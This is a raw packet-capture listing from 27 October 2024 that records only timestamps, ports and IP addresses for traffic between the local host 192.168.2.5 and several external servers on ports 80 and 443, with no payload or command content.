Oct 27, 2024 17:54:38.972776890 CET	49891	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:38.972826004 CET	443	49891	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:38.972902060 CET	49891	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:38.972908974 CET	443	49891	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:38.972928047 CET	443	49891	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:38.972976923 CET	49891	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:38.994780064 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.994813919 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.994828939 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.994847059 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.994847059 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.994869947 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.994875908 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.994890928 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.994909048 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.994927883 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.995105982 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.995151043 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.995167971 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.995182037 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.995206118 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.995222092 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.010586977 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.010637999 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.010658026 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.010683060 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.010704041 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.010704041 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.010720015 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.010739088 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.010745049 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.010761023 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.010772943 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.010776043 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.010790110 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.010795116 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.010804892 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.010806084 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.010827065 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.010845900 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.018106937 CET	443	49905	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:39.018589973 CET	49905	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:39.018614054 CET	443	49905	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:39.019064903 CET	49905	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:39.019072056 CET	443	49905	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:39.019345045 CET	443	49908	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:39.019665003 CET	49908	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:39.019695997 CET	443	49908	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:39.020037889 CET	49908	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:39.020044088 CET	443	49908	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:39.020998001 CET	49912	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.021019936 CET	443	49912	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.021152973 CET	49912	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.021351099 CET	49913	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.021400928 CET	443	49913	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.021487951 CET	49914	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.021492958 CET	49913	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.021498919 CET	443	49914	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.021554947 CET	49914	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.021645069 CET	49915	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.021657944 CET	443	49915	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.021764994 CET	49916	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.021776915 CET	49915	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.021842957 CET	443	49916	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.021897078 CET	49916	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.021922112 CET	49917	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.021948099 CET	443	49917	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.022001028 CET	49917	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.022281885 CET	49912	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.022294044 CET	443	49912	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.022396088 CET	49913	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.022414923 CET	443	49913	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.022943020 CET	49914	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.022954941 CET	443	49914	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.023042917 CET	49915	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.023055077 CET	443	49915	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.023171902 CET	49916	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.023205042 CET	443	49916	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.023289919 CET	49917	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.023308992 CET	443	49917	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.023704052 CET	443	49907	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:39.024036884 CET	49907	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:39.024060965 CET	443	49907	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:39.025567055 CET	49907	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:39.025573969 CET	443	49907	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:39.028006077 CET	443	49904	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:39.028800964 CET	49904	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:39.028841019 CET	443	49904	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:39.028974056 CET	443	49906	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:39.029329062 CET	49904	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:39.029341936 CET	443	49904	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:39.029625893 CET	49906	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:39.029656887 CET	443	49906	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:39.030028105 CET	49906	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:39.030040026 CET	443	49906	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:39.039886951 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.039936066 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.039940119 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.039951086 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.039987087 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.039989948 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.040002108 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.040025949 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.040051937 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.040052891 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.040117979 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.040155888 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.040159941 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.040174961 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.040189028 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.040194988 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.040215015 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.040229082 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.040231943 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.040245056 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.040257931 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.040260077 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.040286064 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.040309906 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.086579084 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.086599112 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.086611986 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.086627960 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.086647987 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.086678982 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.114912987 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.114933014 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.114948034 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.115008116 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.115094900 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.115108967 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.115122080 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.115135908 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.115149975 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.115164995 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.115184069 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.115576982 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.115596056 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.115608931 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.115622997 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.115644932 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.131360054 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.131380081 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.131397009 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.131458044 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.131500006 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.131515026 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.131527901 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.131541967 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.131545067 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.131556988 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.131578922 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.131607056 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.147378922 CET	443	49905	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:39.147525072 CET	443	49905	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:39.147573948 CET	49905	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:39.150110960 CET	443	49908	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:39.150147915 CET	443	49908	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:39.150250912 CET	443	49908	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:39.150295019 CET	49908	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:39.150331974 CET	49908	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:39.156073093 CET	443	49907	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:39.156171083 CET	443	49907	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:39.156239986 CET	49907	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:39.158592939 CET	443	49904	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:39.158735037 CET	443	49904	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:39.158823967 CET	49904	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:39.160031080 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.160043001 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.160068035 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.160079002 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.160088062 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.160098076 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.160116911 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.160130024 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.160137892 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.160149097 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.160154104 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.160166979 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.160176992 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.160214901 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.160582066 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.160593987 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.160604000 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.160633087 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.160659075 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.162435055 CET	49904	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:39.162435055 CET	49904	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:39.162496090 CET	443	49904	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:39.162574053 CET	443	49904	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:39.162826061 CET	49905	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:39.162847042 CET	443	49905	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:39.162861109 CET	49905	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:39.162868023 CET	443	49905	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:39.165800095 CET	49908	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:39.165817022 CET	443	49908	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:39.165832043 CET	49908	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:39.165838003 CET	443	49908	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:39.167292118 CET	49907	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:39.167300940 CET	443	49907	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:39.167318106 CET	49907	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:39.167323112 CET	443	49907	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:39.171904087 CET	443	49906	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:39.171968937 CET	443	49906	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:39.172024965 CET	49906	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:39.172029972 CET	443	49906	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:39.172117949 CET	49906	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:39.173173904 CET	49918	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:39.173239946 CET	443	49918	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:39.173321009 CET	49918	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:39.174938917 CET	49906	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:39.174967051 CET	443	49906	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:39.174993992 CET	49906	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:39.175008059 CET	443	49906	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:39.179199934 CET	443	49903	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:39.179271936 CET	443	49903	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:39.179415941 CET	443	49903	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:39.179480076 CET	49903	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:39.181942940 CET	49918	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:39.181976080 CET	443	49918	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:39.184516907 CET	49919	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:39.184580088 CET	443	49919	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:39.184657097 CET	49919	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:39.184808016 CET	49919	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:39.184839964 CET	443	49919	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:39.192164898 CET	49920	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:39.192195892 CET	443	49920	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:39.192346096 CET	49920	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:39.202146053 CET	49903	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:39.202176094 CET	443	49903	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:39.202511072 CET	49921	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:39.202544928 CET	443	49921	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:39.202781916 CET	49921	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:39.204056025 CET	49921	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:39.204072952 CET	443	49921	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:39.204344988 CET	443	49900	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:39.204396963 CET	443	49900	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:39.204466105 CET	49900	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:39.204492092 CET	443	49900	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:39.204572916 CET	443	49900	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:39.204669952 CET	49900	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:39.206792116 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.206806898 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.206813097 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.206851006 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.206876040 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.207834959 CET	49922	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:39.207863092 CET	443	49922	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:39.208183050 CET	49922	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:39.234812021 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.234838963 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.234852076 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.234865904 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.234879017 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.234889984 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.234894037 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.234922886 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.234956980 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.235327959 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.235340118 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.235353947 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.235387087 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.235434055 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.245196104 CET	49923	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:39.245242119 CET	443	49923	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:39.245379925 CET	49923	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:39.248466015 CET	49920	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:39.248519897 CET	443	49920	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:39.249849081 CET	49922	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:39.249880075 CET	443	49922	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:39.250215054 CET	49923	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:39.250232935 CET	443	49923	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:39.251296043 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.251331091 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.251343012 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.251380920 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.251394987 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.251431942 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.251460075 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.251472950 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.251485109 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.251485109 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.251497984 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.251499891 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.251509905 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.251529932 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.251559019 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.265778065 CET	443	49909	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:39.266032934 CET	49909	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:39.266062021 CET	443	49909	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:39.266443014 CET	443	49909	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:39.266845942 CET	49909	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:39.266937971 CET	443	49909	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:39.267035961 CET	49909	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:39.278408051 CET	49900	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:39.278445959 CET	443	49900	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:39.280199051 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.280232906 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.280245066 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.280256033 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.280270100 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.280314922 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.280354023 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.280369997 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.280381918 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.280399084 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.280400991 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.280415058 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.280427933 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.280431032 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.280448914 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.280456066 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.280461073 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.280472040 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.280500889 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.311361074 CET	443	49909	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:39.323051929 CET	443	49901	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:39.323077917 CET	443	49901	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:39.323144913 CET	49901	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:39.323153019 CET	443	49901	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:39.323225021 CET	49901	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:39.326600075 CET	443	49899	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:39.326616049 CET	443	49899	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:39.326670885 CET	49899	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:39.326693058 CET	443	49899	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:39.326750040 CET	49899	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:39.326925039 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.326941967 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.326952934 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.326963902 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.327045918 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.327045918 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.335201025 CET	443	49902	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:39.335230112 CET	443	49902	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:39.335293055 CET	49902	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:39.335304022 CET	443	49902	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:39.335432053 CET	49902	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:39.355037928 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.355079889 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.355093956 CET	80	49853	185.215.113.206	192.168.2.5
